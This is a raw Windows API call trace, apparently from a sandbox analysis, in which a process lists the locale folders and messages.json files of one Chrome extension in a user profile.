	[0066.306] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x126529b8 | out: lpFileInformation=0x126529b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe1)) returned 1
	[0066.306] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi"), fInfoLevelId=0x0, lpFileInformation=0x12652a08 | out: lpFileInformation=0x12652a08*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.306] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.306] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.306] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.306] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x123, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.306] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.306] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.306] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12652aa8 | out: lpFileInformation=0x12652aa8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x123)) returned 1
	[0066.306] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu"), fInfoLevelId=0x0, lpFileInformation=0x12652af8 | out: lpFileInformation=0x12652af8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.307] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.307] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.307] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.307] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.307] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.307] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.308] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12652b98 | out: lpFileInformation=0x12652b98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6)) returned 1
	[0066.308] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id"), fInfoLevelId=0x0, lpFileInformation=0x12652be8 | out: lpFileInformation=0x12652be8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.308] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.308] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.308] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.308] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.308] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.308] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.308] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12652c88 | out: lpFileInformation=0x12652c88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd0)) returned 1
	[0066.308] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it"), fInfoLevelId=0x0, lpFileInformation=0x12652cd8 | out: lpFileInformation=0x12652cd8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.309] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.309] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.309] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.309] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a43460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.309] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.309] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.310] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12652d78 | out: lpFileInformation=0x12652d78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a43460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd)) returned 1
	[0066.310] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja"), fInfoLevelId=0x0, lpFileInformation=0x12652dc8 | out: lpFileInformation=0x12652dc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.310] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.310] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.310] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.310] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a43460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.310] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.310] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.310] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12652e68 | out: lpFileInformation=0x12652e68*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a43460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec)) returned 1
	[0066.310] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko"), fInfoLevelId=0x0, lpFileInformation=0x12652eb8 | out: lpFileInformation=0x12652eb8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.311] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
